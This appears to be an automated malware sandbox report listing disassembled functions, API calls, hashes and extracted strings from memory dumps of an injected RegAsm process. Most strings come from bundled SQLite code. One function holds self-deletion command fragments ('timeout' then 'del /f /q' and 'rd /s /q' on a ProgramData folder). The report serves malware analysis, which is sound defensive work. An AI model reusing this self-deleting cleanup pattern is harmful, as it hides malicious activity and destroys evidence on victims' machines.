Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$AllocFileLocal$BinaryCryptFreeGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 2922346225-0
Opcode ID: 7099d76066668ea2f5e44e69f0e2ed6f8888ed80ebac7236385575e66ec26800
Instruction ID: 33f91824829d3f5efb2aa34bd25ad131a78eda83b9122e1554e30040e525d844
Opcode Fuzzy Hash: 7099d76066668ea2f5e44e69f0e2ed6f8888ed80ebac7236385575e66ec26800
Instruction Fuzzy Hash: 86712EB1D4012C9FCF20DF21DD45ACAB7BAAF94314F0404E6E509A3251EA369FE58F94

Function 1FF96380 Relevance: 15.1, APIs: 10, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa5ceb89f0bb36716f01679e06b3265f6ec5100fe8706b00fb15f380d2844556
Instruction ID: 131325eb124205796d6fddd1e1341a8303305222d960a9db9def777a5ad71657
Opcode Fuzzy Hash: fa5ceb89f0bb36716f01679e06b3265f6ec5100fe8706b00fb15f380d2844556
Instruction Fuzzy Hash: 8A418DB1404B01ABF7129F29DC4CE4677B8BF44318F100528F94692622EFBAF464FBA5

Function 1FF0F4B0 Relevance: 15.1, APIs: 10, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d47789057f54d3d5d235375a09c406a209fee87bea1c44866fc0f5d3bf2f426b
Instruction ID: 6963a85c5d2d6627b90b86a182e133571a768125b85e2b6285802f7355ddde25
Opcode Fuzzy Hash: d47789057f54d3d5d235375a09c406a209fee87bea1c44866fc0f5d3bf2f426b
Instruction Fuzzy Hash: 4021BFBA90038276E302AA209C05FBF329CEF51A16F44441DFD15A6080F7A4F60A82B3

Function 1FFCFB30 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 324COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FFCFBA5
misuse, xrefs: 1FFCFBA0
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFCFB96
API called with NULL prepared statement, xrefs: 1FFCFB65
API called with finalized prepared statement, xrefs: 1FFCFB7A

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with NULL prepared statement$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-860711957
Opcode ID: 5bfd52718904654cc3e7bfb5c3921e2293b38c19100b09e5e1fe83a5b95c0b6c
Instruction ID: 765a65ce16e04b100fbb5a2ec0573053b9e2a9cc8ad52432f0bdab2e86a1df47
Opcode Fuzzy Hash: 5bfd52718904654cc3e7bfb5c3921e2293b38c19100b09e5e1fe83a5b95c0b6c
Instruction Fuzzy Hash: F2B1B1B5A047529BE7108F35D844F57B7E4BF45318F04452CE98A8B282E7B6F50ACBB2

Function 1FF41710 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 235COMMON

Download Yara Rule

Strings

%z, %Q HIDDEN, %s HIDDEN), xrefs: 1FF41831
rank, xrefs: 1FF41824
CREATE TABLE x(, xrefs: 1FF417D9
%z%s%Q, xrefs: 1FF4180D

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %z%s%Q$%z, %Q HIDDEN, %s HIDDEN)$CREATE TABLE x($rank
API String ID: 0-3324442540
Opcode ID: 2a30c3ebb01513f461f8ff32c3560d1f451b253245180c8a54cc44275ed91a64
Instruction ID: a096d60a13b6a3224bda021443f3d21b38db91f4243918fc7056eb73e6d1dec6
Opcode Fuzzy Hash: 2a30c3ebb01513f461f8ff32c3560d1f451b253245180c8a54cc44275ed91a64
Instruction Fuzzy Hash: 6F81D572A04301AFEB028F64DC44A5A7BE8FF44259F140629FD45E7221EB79E950DBA2

Function 1FF0E320 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 177COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FF0E385
misuse, xrefs: 1FF0E380
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FF0E376
API called with finalized prepared statement, xrefs: 1FF0E36A

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API called with finalized prepared statement$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$misuse
API String ID: 0-3620335220
Opcode ID: 0cef88bb73995be8017dd1c08d437dbc982dd7f437813a2d276876384f8b4c8e
Instruction ID: 83cd91cd0bab55be22d2221ecbfe7c9accd18ca833ce4118907c186a038a6ab4
Opcode Fuzzy Hash: 0cef88bb73995be8017dd1c08d437dbc982dd7f437813a2d276876384f8b4c8e
Instruction Fuzzy Hash: FF51A576904A01EBFB01AF64CC4CB9A3B69AF04309F048025FD0596261EFB9F555FBB6

Function 1FFB74A0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 175COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FFB74DC
misuse, xrefs: 1FFB74D7
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFB74CD
API call with %s database connection pointer, xrefs: 1FFB74C1
unable to close due to unfinalized statements or unfinished backups, xrefs: 1FFB75D1
invalid, xrefs: 1FFB74BC

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$API call with %s database connection pointer$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 0-3800776574
Opcode ID: 3590d4a0c24d93b908f6a7893dc4b28afd8018ac8edc32e52b2f40de31f8aa4d
Instruction ID: 672aadbd0e450bc3790c03609c1353f08e3819372c01f050700f47dd4d4b3560
Opcode Fuzzy Hash: 3590d4a0c24d93b908f6a7893dc4b28afd8018ac8edc32e52b2f40de31f8aa4d
Instruction Fuzzy Hash: DD513677908B01ABF7109B7AEC48F9B77A5AF40714F09002CE88997202FB74F651D6B6

Function 00417DA7 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00417DF0

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

ShellExecuteEx.SHELL32(?), ref: 00417F8C
ExitProcess.KERNEL32 ref: 00417FBD

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Strings

/c timeout /t 10 & del /f /q ", xrefs: 00417E1B
" & rd /s /q "C:\ProgramData\, xrefs: 00417E69
" & exit, xrefs: 00417EBF
/c timeout /t 10 & rd /s /q "C:\ProgramData\, xrefs: 00417EC6
" & exit, xrefs: 00417F10

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteExitFileModuleNameProcessShelllstrlen
String ID: " & exit$" & exit$" & rd /s /q "C:\ProgramData\$/c timeout /t 10 & del /f /q "$/c timeout /t 10 & rd /s /q "C:\ProgramData\
API String ID: 2112569554-1079830800
Opcode ID: 2cd0485ecc0919e94a78de6e1368f52058ed1327df16f21e2bd9b49d615f0258
Instruction ID: 7a0319f717979cc8e9e46abc35973bcd2d39ba85e6b182ffcdb2ff042174399b
Opcode Fuzzy Hash: 2cd0485ecc0919e94a78de6e1368f52058ed1327df16f21e2bd9b49d615f0258
Instruction Fuzzy Hash: B251B9B1D402299BCB65EF25CD85ADDB37CAB44708F4110EAA708B3152DB786FC68F58

Function 0040DA37 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109stringmemoryCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32 ref: 0040DA73
strchr.MSVCRT ref: 0040DA85
strchr.MSVCRT ref: 0040DAAA
lstrlen.KERNEL32 ref: 0040DACC
GetProcessHeap.KERNEL32(00000008,-00000001), ref: 0040DAD9
RtlAllocateHeap.NTDLL(00000000), ref: 0040DAE0
strcpy_s.MSVCRT ref: 0040DB27

Strings

0123456789ABCDEF, xrefs: 0040DA51

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heaplstrlenstrchr$AllocateProcessstrcpy_s
String ID: 0123456789ABCDEF
API String ID: 1327626442-2554083253
Opcode ID: 1832357326606cdabf634a352e2f1520f5324a60f8590796c6dc0e9a426284d0
Instruction ID: f85c7240c5accc9f731dddb391ee23dc7f901dc4b1034144bcffc7957d697e51
Opcode Fuzzy Hash: 1832357326606cdabf634a352e2f1520f5324a60f8590796c6dc0e9a426284d0
Instruction Fuzzy Hash: 0E318F72E002199FDB00DFE8DC85ADEBBB5EF09315F500179E901FB284DB79A9098B94

Function 1FF5BCF0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 103COMMON

Download Yara Rule

Strings

PRAGMA %Q.page_size, xrefs: 1FF5BD03
SELECT length(data) FROM '%q'.'%q_node' WHERE nodeno = 1, xrefs: 1FF5BD67
undersize RTree blobs in "%q_node", xrefs: 1FF5BDA1

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: PRAGMA %Q.page_size$SELECT length(data) FROM '%q'.'%q_node' WHERE nodeno = 1$undersize RTree blobs in "%q_node"
API String ID: 0-3485589083
Opcode ID: f47460fe84004ab0cff26cc02aa3937dec30dbd08739380bc4abd45e45b92d12
Instruction ID: 4c30bd96bb58cd1af8d47089d48575a9cc0f0c7f51791b945b7f20b6aab62302
Opcode Fuzzy Hash: f47460fe84004ab0cff26cc02aa3937dec30dbd08739380bc4abd45e45b92d12
Instruction Fuzzy Hash: B531E872904705AFF3048B64CC44A5677A8FF44315F090225FE4596221EB7AF955DFF1

Function 0041141B Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(00000000,00000000,00000000), ref: 0041142D
GetDeviceCaps.GDI32(00000000,00000008), ref: 00411438
GetDeviceCaps.GDI32(00000000,0000000A), ref: 00411443
ReleaseDC.USER32(00000000,00000000), ref: 0041144E
GetProcessHeap.KERNEL32(00000000,00000104), ref: 0041145A
RtlAllocateHeap.NTDLL(00000000), ref: 00411461
wsprintfA.USER32 ref: 00411473

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Strings

%dx%d, xrefs: 0041146D

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocateCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 81802983-2206825331
Opcode ID: 497df61968d43710dab0fc8b529a9c64886a6ab20d9890b832761a5571c7c7d7
Instruction ID: 28b4d8d08a7aba3af7299af0464578f3f02736f5752fc4ecb6f6112541b0c9ef
Opcode Fuzzy Hash: 497df61968d43710dab0fc8b529a9c64886a6ab20d9890b832761a5571c7c7d7
Instruction Fuzzy Hash: BBF06272E01224BBD7101BAADD0DD9BBFADEF467A6F001022F606D21A1D6B44D4087E4

Function 1FFB32F0 Relevance: 12.7, APIs: 4, Strings: 3, Instructions: 464COMMON

Download Yara Rule

Strings

%s at line %d of [%.10s], xrefs: 1FFB36C7, 1FFB370C, 1FFB376C, 1FFB381D
ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f, xrefs: 1FFB36B8, 1FFB36FD, 1FFB375D, 1FFB380E
database corruption, xrefs: 1FFB36C2, 1FFB3707, 1FFB3767, 1FFB3818

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200C8000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605527605.00000000200F2000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FA000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605575075.00000000200FF000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1feb0000_RegAsm.jbxd

Similarity

API ID:
String ID: %s at line %d of [%.10s]$database corruption$ebead0e7230cd33bcec9f95d2183069565b9e709bf745c9b5db65cc0cbf92c0f
API String ID: 0-2528248365
Opcode ID: b6c99cb37d452ed8393ca92e39f76245e71de5a14ab714a30df88236dafac749
Instruction ID: f7083462401d6454a7dffa3bb287027164fd5fa94959fcf1f46ebe3d40512792
Opcode Fuzzy Hash: b6c99cb37d452ed8393ca92e39f76245e71de5a14ab714a30df88236dafac749
Instruction Fuzzy Hash: 5FF14571A487419FE300DF2AC880BA6BBE0FF45214F4442ADED48CB652E776F956C7A1

Function 1FEDE420 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 380COMMON

Download Yara Rule

Strings

%c%04d-%02d-%02d %02d:%02d:%06.3f, xrefs: 1FEDE717
another row available, xrefs: 1FEDE7A3, 1FEDE7AE
abort due to ROLLBACK, xrefs: 1FEDE795
no more rows available, xrefs: 1FEDE79C
d, xrefs: 1FEDE71D
unknown error, xrefs: 1FEDE76B

Memory Dump Source

Source File: 00000004.00000002.4602806891.000000001FEB8000.00000020.00001000.00020000.00000000.sdmp, Offset: 1FEB0000, based on PE: true

Associated: 00000004.00000002.4602775671.000000001FEB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.000000001FEB1000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.0000000020016000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4602806891.00000000200BD000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4605297484.00000000200BF000.00000002.00001000.00020000.00000000.sdmpDownload File
